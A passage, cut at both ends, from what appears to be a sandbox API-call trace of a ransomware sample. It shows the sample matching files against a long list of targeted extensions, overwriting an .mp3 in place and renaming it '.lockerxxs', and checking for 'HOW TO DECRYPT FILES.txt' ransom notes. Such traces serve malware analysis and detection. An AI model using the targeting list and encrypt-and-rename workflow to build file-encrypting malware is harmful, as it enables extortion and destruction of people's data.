lstrlenA (lpString="*.idx") returned 5 [0090.452] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.dbx") returned 0 [0090.452] lstrlenA (lpString="*.dbx") returned 5 [0090.452] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.sql") returned 0 [0090.452] lstrlenA (lpString="*.sql") returned 5 [0090.452] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.mdb") returned 0 [0090.452] lstrlenA (lpString="*.mdb") returned 5 [0090.452] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.fdb") returned 0 [0090.452] lstrlenA (lpString="*.fdb") returned 5 [0090.452] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.wab") returned 0 [0090.453] lstrlenA (lpString="*.wab") returned 5 [0090.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.dat") returned 0 [0090.453] lstrlenA (lpString="*.dat") returned 5 [0090.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.txt") returned 0 [0090.453] lstrlenA (lpString="*.txt") returned 5 [0090.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.jpeg") returned 0 [0090.453] lstrlenA (lpString="*.jpeg") returned 6 [0090.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.jpg") returned 0 [0090.453] lstrlenA (lpString="*.jpg") returned 5 [0090.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.png") returned 0 [0090.453] lstrlenA (lpString="*.png") returned 5 [0090.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.php") returned 0 [0090.453] lstrlenA (lpString="*.php") returned 5 [0090.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.cs") returned 0 [0090.453] lstrlenA (lpString="*.cs") returned 4 [0090.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.cpp") returned 0 [0090.453] lstrlenA (lpString="*.cpp") returned 5 [0090.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.rar") returned 0 [0090.453] lstrlenA (lpString="*.rar") returned 5 [0090.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.zip") returned 0 [0090.453] lstrlenA (lpString="*.zip") returned 5 [0090.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.html") returned 0 [0090.453] lstrlenA (lpString="*.html") returned 6 [0090.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.htm") returned 0 [0090.453] lstrlenA (lpString="*.htm") returned 5 [0090.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.xlsx") returned 0 [0090.454] lstrlenA (lpString="*.xlsx") returned 6 [0090.454] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.xls") returned 0 [0090.454] lstrlenA (lpString="*.xls") returned 5 [0090.454] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.mp4") returned 0 [0090.454] lstrlenA (lpString="*.mp4") returned 5 [0090.454] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.ppt") returned 0 [0090.454] lstrlenA (lpString="*.ppt") returned 5 [0090.454] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.pptx") returned 0 [0090.454] lstrlenA (lpString="*.pptx") returned 6 [0090.454] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.doc") returned 0 [0090.454] lstrlenA (lpString="*.doc") returned 5 [0090.454] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.dot") returned 0 [0090.454] lstrlenA (lpString="*.dot") returned 5 [0090.454] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.docx") returned 0 [0090.454] lstrlenA (lpString="*.docx") returned 6 [0090.454] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.7z") returned 0 [0090.454] lstrlenA (lpString="*.7z") returned 4 [0090.454] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.tar") returned 0 [0090.454] lstrlenA (lpString="*.tar") returned 5 [0090.454] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.bz2") returned 0 [0090.454] lstrlenA (lpString="*.bz2") returned 5 [0090.454] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.gz") returned 0 [0090.454] lstrlenA (lpString="*.gz") returned 4 [0090.455] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.mkv") returned 0 [0090.455] lstrlenA (lpString="*.mkv") returned 5 [0090.455] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.eml") returned 0 [0090.455] lstrlenA (lpString="*.eml") returned 5 [0090.455] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.msg") returned 0 [0090.455] lstrlenA (lpString="*.msg") returned 5 [0090.455] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.edb") returned 0 [0090.455] lstrlenA (lpString="*.edb") returned 5 [0090.455] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.accdb") returned 0 [0090.455] lstrlenA (lpString="*.accdb") returned 7 [0090.455] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.odb") returned 0 [0090.455] lstrlenA (lpString="*.odb") returned 5 [0090.455] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.java") returned 0 [0090.455] lstrlenA (lpString="*.java") returned 6 [0090.455] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.asm") returned 0 [0090.455] lstrlenA (lpString="*.asm") returned 5 [0090.455] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.pfx") returned 0 [0090.455] lstrlenA (lpString="*.pfx") returned 5 [0090.455] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.pem") returned 0 [0090.455] lstrlenA (lpString="*.pem") returned 5 [0090.455] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.p12") returned 0 [0090.456] lstrlenA (lpString="*.p12") returned 5 [0090.456] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.gpg") returned 0 [0090.456] lstrlenA (lpString="*.gpg") returned 5 [0090.456] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.vsd") returned 0 [0090.456] lstrlenA (lpString="*.vsd") returned 5 [0090.456] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.odg") returned 0 [0090.456] lstrlenA (lpString="*.odg") returned 5 [0090.456] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.raw") returned 0 [0090.456] lstrlenA (lpString="*.raw") returned 5 [0090.456] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.nef") returned 0 [0090.456] lstrlenA (lpString="*.nef") returned 5 [0090.456] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.svg") returned 0 [0090.456] lstrlenA (lpString="*.svg") returned 5 [0090.456] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.psd") returned 0 [0090.456] lstrlenA (lpString="*.psd") returned 5 [0090.456] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.vmx") returned 0 [0090.456] lstrlenA (lpString="*.vmx") returned 5 [0090.456] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.vmdk") returned 0 [0090.456] lstrlenA (lpString="*.vmdk") returned 6 [0090.456] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.vdi") returned 0 [0090.456] lstrlenA (lpString="*.vdi") returned 5 [0090.456] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.lay6") returned 0 [0090.457] lstrlenA (lpString="*.lay6") returned 6 [0090.457] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.mpeg") returned 0 [0090.457] lstrlenA (lpString="*.mpeg") returned 6 [0090.457] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.djvu") returned 0 [0090.457] lstrlenA (lpString="*.djvu") returned 6 [0090.457] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.tiff") returned 0 [0090.457] lstrlenA (lpString="*.tiff") returned 6 [0090.457] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.backup") returned 0 [0090.457] lstrlenA (lpString="*.backup") returned 8 [0090.457] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.pdf") returned 0 [0090.457] lstrlenA (lpString="*.pdf") returned 5 [0090.457] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.cert") returned 0 [0090.457] lstrlenA (lpString="*.cert") returned 6 [0090.457] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.docm") returned 0 [0090.457] lstrlenA (lpString="*.docm") returned 6 [0090.457] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.xlsm") returned 0 [0090.457] lstrlenA (lpString="*.xlsm") returned 6 [0090.457] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.dwg") returned 0 [0090.457] lstrlenA (lpString="*.dwg") returned 5 [0090.458] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.nd") returned 0 [0090.458] lstrlenA (lpString="*.nd") returned 4 [0090.458] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.tlg") returned 0 [0090.458] lstrlenA (lpString="*.tlg") returned 5 [0090.458] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.lgb") returned 0 [0090.458] lstrlenA (lpString="*.lgb") returned 5 [0090.458] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.mov") returned 0 [0090.458] lstrlenA (lpString="*.mov") returned 5 [0090.458] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.xdw") returned 0 [0090.458] lstrlenA (lpString="*.xdw") returned 5 [0090.458] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.ods") returned 0 [0090.458] lstrlenA (lpString="*.ods") returned 5 [0090.458] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.wav") returned 0 [0090.458] lstrlenA (lpString="*.wav") returned 5 [0090.458] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.mp3") returned 1 [0090.458] lstrlenA (lpString="*.mp3") returned 5 [0090.458] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3" [0090.458] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3" [0090.458] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3." [0090.458] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3.lockerxxs" [0090.458] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\smksdlqm\\2-mm.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0090.459] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x39e3 [0090.459] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xe44f4a30, dwHighDateTime=0x1d5e74c), lpLastAccessTime=0x407536*(dwLowDateTime=0xf5d6ec70, dwHighDateTime=0x1d5e7f3), lpLastWriteTime=0x40753e*(dwLowDateTime=0xf5d6ec70, dwHighDateTime=0x1d5e7f3)) returned 1 [0090.459] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.459] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x39bd, lpOverlapped=0x0) returned 1 [0090.461] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3") returned="2-mM.mp3" [0090.461] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.461] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x39bd, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x39bd, lpOverlapped=0x0) returned 1 [0090.462] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0090.462] CloseHandle (hObject=0x90) returned 1 [0090.462] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\smksdlqm\\2-mm.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\smksdlqm\\2-mm.mp3.lockerxxs")) returned 1 [0090.463] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8286aa50, ftCreationTime.dwHighDateTime=0x1d5dbfd, ftLastAccessTime.dwLowDateTime=0x40688210, ftLastAccessTime.dwHighDateTime=0x1d5db5d, ftLastWriteTime.dwLowDateTime=0x40688210, ftLastWriteTime.dwHighDateTime=0x1d5db5d, nFileSizeHigh=0x0, nFileSizeLow=0x3ef6, dwReserved0=0x4e0244, dwReserved1=0x4e0000, cFileName="2NetU_4fHDOlOj.m4a", cAlternateFileName="2NETU_~1.M4A")) returned 1 [0090.463] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0090.463] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="2NetU_4fHDOlOj.m4a") returned 1 [0090.463] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="2NetU_4fHDOlOj.m4a") returned 1 [0090.463] lstrcmpiA (lpString1="", lpString2="2NetU_4fHDOlOj.m4a") returned -1 [0090.463] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3") returned="2-mM.mp3" [0090.463] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\" [0090.463] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\") returned="" [0090.463] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\HOW TO DECRYPT FILES.txt" [0090.463] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\smksdlqm\\how to decrypt files.txt")) returned 0x20 [0090.464] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\", lpString2="2NetU_4fHDOlOj.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a" [0090.464] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.ems") returned 0 [0090.464] lstrlenA (lpString="*.ems") returned 5 [0090.464] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.db") returned 0 [0090.464] lstrlenA (lpString="*.db") returned 4 [0090.464] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.dbf") returned 0 [0090.464] lstrlenA (lpString="*.dbf") returned 5 [0090.464] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.myox") returned 0 [0090.464] lstrlenA (lpString="*.myox") returned 6 [0090.464] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.myo") returned 0 [0090.464] lstrlenA (lpString="*.myo") returned 5 [0090.464] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.qbw") returned 0 [0090.464] lstrlenA (lpString="*.qbw") returned 5 [0090.464] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.qbb") returned 0 [0090.464] lstrlenA (lpString="*.qbb") returned 5 [0090.464] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.qbm") returned 0 [0090.464] lstrlenA (lpString="*.qbm") returned 5 [0090.464] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.qbo") returned 0 [0090.464] lstrlenA (lpString="*.qbo") returned 5 [0090.464] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.qbx") returned 0 [0090.464] lstrlenA (lpString="*.qbx") returned 5 [0090.465] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.qba") returned 0 [0090.465] lstrlenA (lpString="*.qba") returned 5 [0090.465] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.qby") returned 0 [0090.465] lstrlenA (lpString="*.qby") returned 5 [0090.465] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.qbj") returned 0 [0090.465] lstrlenA (lpString="*.qbj") returned 5 [0090.465] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.ofx") returned 0 [0090.465] lstrlenA (lpString="*.ofx") returned 5 [0090.465] PathMatchSpecA 